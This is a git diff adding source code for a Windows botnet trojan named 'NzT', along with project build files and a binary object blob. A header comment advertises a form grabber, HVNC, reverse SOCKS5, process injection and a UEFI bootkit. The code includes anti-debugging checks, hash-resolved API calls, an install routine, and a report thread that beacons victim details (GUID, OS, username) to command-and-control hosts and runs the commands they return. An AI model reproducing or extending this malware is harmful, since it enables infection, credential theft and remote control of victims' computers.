x86<=>x64 process injection +* [X] - Hooking engine +* [X] - Anti-Hooking engine +* [X] - Modular plugin system +* [X] - Store and encrypt strings in seperate PE section +* [X] - UEFI Kit +* +* - PLUGINS +* [X] Form Grabber +* [X] Reverse Socks5 +* [X] HVNC +*/ +#include + +#include "crt.h" +#include "nzt.h" +#include "globals.h" +#include "report.h" +#include "antidebug.h" +#include "injection.h" +#include "utils.h" +#include "guid.h" +#include "install.h" +#include "config.h" + +NzT_T NzT; + +int BookitInitialize(); + +static WINERROR BotInitialize() +{ + WINERROR Status = NO_ERROR; + + MemoryZero(&NzT, sizeof(NzT_T)); + + // Check if NzT has a debugger detached, DestroyOS if true + if (IsBeingDebugged()) + { + DebugPrint("NzT: Possible debugging detected, exiting..."); + return ERROR_UNSUCCESSFULL; + } + + // Dynamically resolve all Windows API function by hash + if (!ApiInitialize()) + { + DebugPrint("NzT: failed to initialize API!"); + return ERROR_UNSUCCESSFULL; + } + + // Make sure only one instance + if (!(g_MainMutex = API(CreateMutexW)(NULL, FALSE, L"g_MainMutex")) || ((Status = API(GetLastError)()) == ERROR_ALREADY_EXISTS)) + { + Status = FALSE; + DebugPrint("NzT: Error Mutex already exists, NzT is already running!"); + return ERROR_UNSUCCESSFULL; + } + + // Initinalize global variables + if (!GlobalsInitialize(API(GetModuleHandleW(NULL)), G_SYSTEM_VERSION | G_CURRENT_PROCESS_ID | G_CURRENT_PROCESS_PATH)) + { + DebugPrint("NzT: Failed to initialize globals!"); + return ERROR_UNSUCCESSFULL; + } + + DebugPrint("NzT: Initialized!"); + + // Start NzT EFI Bootkit + BookitInitialize(); + +#ifdef _REPORT + StartReportThread(); +#endif + +#ifdef _INSTALL + if (!IsSystemInfected()) + { + NzT.Type = NEW_INFECTION; + InstallBot(); + } + else + { + NzT.Type = RUNNING_INFECTION; + } +#endif + + return Status; +} + +WINERROR BotShutdown() +{ + WINERROR Status = NO_ERROR; + + DebugPrint("NzT: Shutdown initiated"); + + if (g_ShutdownEvent) + { + API(SetEvent)(g_ShutdownEvent); + } + + if (g_MainMutex) + { + API(ReleaseMutex(g_MainMutex)); + API(CloseHandle(g_MainMutex)); + } + + return Status; +} + +INT EntryPoint() +{ + BotInitialize(); + return 0; +} diff --git a/src/Bot/report.c b/src/Bot/report.c new file mode 100644 index 0000000..226972f --- /dev/null +++ b/src/Bot/report.c @@ -0,0 +1,109 @@ +#include +#ifdef _DEBUG +#include +#endif + +#include "report.h" +#include "config.h" +#include "http.h" +#include "nzt.h" +#include "crt.h" +#include "utils.h" +#include "globals.h" +#include "command.h" +#include "strings.h" + +long _atoi(const char* S) +{ + long num = 0; + int i = 0; + + // run till the end of the string is reached, or the + // current character is non-numeric + while (S[i] && (S[i] >= '0' && S[i] <= '9')) + { + num = num * 10 + (S[i] - '0'); + i++; + } + + return num; +} + +VOID ProcessServerResponse(CONST PCHAR Response) +{ + PCHAR Data[512] = { 0 }; + PCHAR Token = NULL; + INT Parameters = 0; + + MemoryZero(&Data, sizeof(Data)); + + Token = StringTokenizeA(Response, "|"); + do + { + if (Parameters >= sizeof(Data) / sizeof(CHAR)) + break; + Data[Parameters++] = Token; + } while (Token = StringTokenizeA(NULL, "|")); + + + if (!StringCompareA(Data[0], "COMMAND")) + CommandExecute(_atoi(Data[1]), Data); + else if (!StringCompareA(Data[0], "ERROR")) + DebugPrint("NzT: Report Error! Data: %s\n", Data); +} + +DWORD ReportThread() +{ + PCHAR Response = NULL; + static CHAR Data[512] = { 0 }; + INT CurrentHost = 0; + + while (TRUE) + { + MemoryZero(&Data, sizeof(Data)); + + if (NzT.Type == NEW_INFECTION) + API(wsprintfA)(Data, STRING_REPORT_DATA, NEW_INFECTION, g_BotGuid, g_BotOS, g_BotArch, g_BotUsername); + else + API(wsprintfA)(Data, STRING_REPORT_DATA, RUNNING_INFECTION, g_BotGuid, g_BotOS, g_BotArch, g_BotUsername); + + do + { + if (!HttpPostRequest(g_Hosts[CurrentHost], STRING_REPORT_GATE_URL, Data, &Response)) + { + DebugPrint("NzT: Failed to report to %s%s", g_Hosts[CurrentHost], STRING_REPORT_GATE_URL); + CurrentHost++; + break; + } + + DebugPrint("NzT: Reported to %s%s", g_Hosts[CurrentHost], STRING_REPORT_GATE_URL); + + if (Response == NULL) + break; + + DebugPrint("NzT: Server Response %s", Response); + ProcessServerResponse(Response); + } while (FALSE); + + if (Response != NULL) + { + Free(Response); + Response = NULL; + } + + if (CurrentHost == g_NumberHosts) + CurrentHost = 0; + + _Sleep(REPORT_TIME * 60000); + } + + return 0; +} + +BOOL StartReportThread(void) +{ + if ((API(CreateThread)(0, 0, (LPTHREAD_START_ROUTINE)ReportThread, 0, 0, 0)) != 0) + return TRUE; + + return FALSE; +} \ No newline at end of file diff --git a/src/Bot/report.h b/src/Bot/report.h new file mode 100644 index 0000000..b408a27 --- /dev/null +++ b/src/Bot/report.h @@ -0,0 +1,6 @@ +#ifndef __REPORT_H__ +#define __REPORT_H__ + +BOOL StartReportThread(void); + +#endif //__REPORT_H__ \ No newline at end of file diff --git a/src/Bot/shared.c b/src/Bot/shared.c new file mode 100644 index 0000000..60da595 --- /dev/null +++ b/src/Bot/shared.c @@ -0,0 +1,39 @@ +#ifndef __SHARED_H__ +#define __SHARED_H__ + +#include "..\Shared\config.c" +#include "..\Shared\crt.c" +#include "..\Shared\api.c" +#include "..\Shared\utils.c" +#include "..\Shared\crypto.c" +#include "..\Shared\guid.c" +#include "..\Shared\file.c" +#include "..\Shared\registry.c" + +#ifdef _DEBUG +#else +#pragma function(memset) +void *memset(void *dest, int c, size_t count) +{ + char *bytes = (char *)dest; + while (count--) + { + *bytes++ = (char)c; + } + return dest; +} + +#pragma function(memcpy) +void *memcpy(void *dest, const void *src, size_t count) +{ + char *dest8 = (char *)dest; + const char *src8 = (const char *)src; + while (count--) + { + *dest8++ = *src8++; + } + return dest; +} +#endif + +#endif //__SHARED_H__ \ No newline at end of file diff --git a/src/Encryptor/Encryptor.c b/src/Encryptor/Encryptor.c new file mode 100644 index 0000000..8a8c572 --- /dev/null +++ b/src/Encryptor/Encryptor.c @@ -0,0 +1,39 @@ +#include +#include + +#include "..\Shared\crt.c" +#include "..\Shared\api.c" +#include "..\Shared\utils.c" +#include "..\Shared\crypto.c" +#include "..\Shared\registry.c" + +NzT_T NzT; + +int main(int argc, char **argv) +{ + CHAR Buffer[256] = { 0 }; + DWORD Hash = 0; + + if (argc < 2) + { + printf("Usage: Encryptor.exe [-a,-s,-x]\n -a [function name]\n\t-Get Crc32 hash of API function\n -s [string]\n\t-Encrypt string with RC4"); + } + + MemoryZero(&NzT, sizeof(NzT_T)); + MemoryZero(&Buffer, sizeof(Buffer)); + + if (!ApiInitialize()) + return -1; + + if (!strcmp(argv[1], "-a")) + { + if (argv[2] == NULL) + return -1; + + Hash = Crc32Hash(argv[2], strlen(argv[2])); + wsprintfA(Buffer, "%s 0x%lX", CharUpperA(argv[2]), Hash); + } + + printf("%s\n", Buffer); + return 0; +} diff --git a/src/Encryptor/Encryptor.vcxproj b/src/Encryptor/Encryptor.vcxproj new file mode 100644 index 0000000..43f4b08 --- /dev/null +++ b/src/Encryptor/Encryptor.vcxproj @@ -0,0 +1,159 @@ + + + + + Debug + Win32 + + + Release + Win32 + + + Debug + x64 + + + Release + x64 + + + + 15.0 + {7931DABA-686D-4B7A-BEF9-DD52F1469367} + Win32Proj + Encryptor + 10.0 + + + + Application + true + v142 + Unicode + + + Application + false + v142 + true + Unicode + + + Application + true + v142 + Unicode + + + Application + false + v142 + true + Unicode + + + + + + + + + + + + + + + + + + + + + true + + + true + + + false + + + false + + + + + + Level3 + Disabled + true + WIN32;_DEBUG;_CONSOLE;%(PreprocessorDefinitions) + true + + + Console + true + + + + + + + Level3 + Disabled + true + _DEBUG;_CONSOLE;%(PreprocessorDefinitions) + true + + + Console + true + + + + + + + Level3 + MaxSpeed + true + true + true + WIN32;NDEBUG;_CONSOLE;%(PreprocessorDefinitions) + true + + + Console + true + true + true + + + + + + + Level3 + MaxSpeed + true + true + true + NDEBUG;_CONSOLE;%(PreprocessorDefinitions) + true + + + Console + true + true + true + + + + + + + + + \ No newline at end of file diff --git a/src/Encryptor/Encryptor.vcxproj.filters b/src/Encryptor/Encryptor.vcxproj.filters new file mode 100644 index 0000000..057eae3 --- /dev/null +++ b/src/Encryptor/Encryptor.vcxproj.filters @@ -0,0 +1,22 @@ + + + + + {4FC737F1-C7A5-4376-A066-2A32D752A2FF} + cpp;c;cc;cxx;def;odl;idl;hpj;bat;asm;asmx + + + {93995380-89BD-4b04-88EB-625FBE52EBFB} + h;hh;hpp;hxx;hm;inl;inc;ipp;xsd + + + {67DA6AB6-F800-4c08-8B7A-83BB121AAD01} + rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms + + + + + Source Files + + + \ No newline at end of file diff --git a/src/Encryptor/Encryptor.vcxproj.user b/src/Encryptor/Encryptor.vcxproj.user new file mode 100644 index 0000000..6e2aec7 --- /dev/null +++ b/src/Encryptor/Encryptor.vcxproj.user @@ -0,0 +1,4 @@ + + + + \ No newline at end of file diff --git a/src/Encryptor/Release/Encryptor.Build.CppClean.log b/src/Encryptor/Release/Encryptor.Build.CppClean.log new file mode 100644 index 0000000..0b15fc1 --- /dev/null +++ b/src/Encryptor/Release/Encryptor.Build.CppClean.log @@ -0,0 +1,8 @@ +c:\users\user\documents\nzt\src\encryptor\release\vc142.pdb +c:\users\user\documents\nzt\src\encryptor\release\encryptor.obj +c:\users\user\documents\nzt\src\encryptor\release\encryptor.tlog\cl.command.1.tlog +c:\users\user\documents\nzt\src\encryptor\release\encryptor.tlog\cl.read.1.tlog +c:\users\user\documents\nzt\src\encryptor\release\encryptor.tlog\cl.write.1.tlog +c:\users\user\documents\nzt\src\encryptor\release\encryptor.tlog\link.command.1.tlog +c:\users\user\documents\nzt\src\encryptor\release\encryptor.tlog\link.read.1.tlog +c:\users\user\documents\nzt\src\encryptor\release\encryptor.tlog\link.write.1.tlog diff --git a/src/Encryptor/Release/Encryptor.log b/src/Encryptor/Release/Encryptor.log new file mode 100644 index 0000000..7eff231 --- /dev/null +++ b/src/Encryptor/Release/Encryptor.log @@ -0,0 +1,8 @@ + Encryptor.c +C:\Users\user\Documents\NzT\src\Shared\crt.c(485,31): warning C4244: '=': conversion from 'DWORD' to 'USHORT', possible loss of data +C:\Users\user\Documents\NzT\src\Shared\crt.c(486,36): warning C4244: '=': conversion from 'DWORD' to 'USHORT', possible loss of data + Generating code + Previous IPDB not found, fall back to full compilation. + All 29 functions were compiled because no usable IPDB/IOBJ from previous compilation was found. + Finished generating code + Encryptor.vcxproj -> C:\Users\user\Documents\NzT\src\Release\Encryptor.exe diff --git a/src/Encryptor/Release/Encryptor.obj b/src/Encryptor/Release/Encryptor.obj new file mode 100644 index 0000000000000000000000000000000000000000..a9c526f9229110cb35bb1c564df37e4c05f785e1 GIT binary patch literal 219887 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 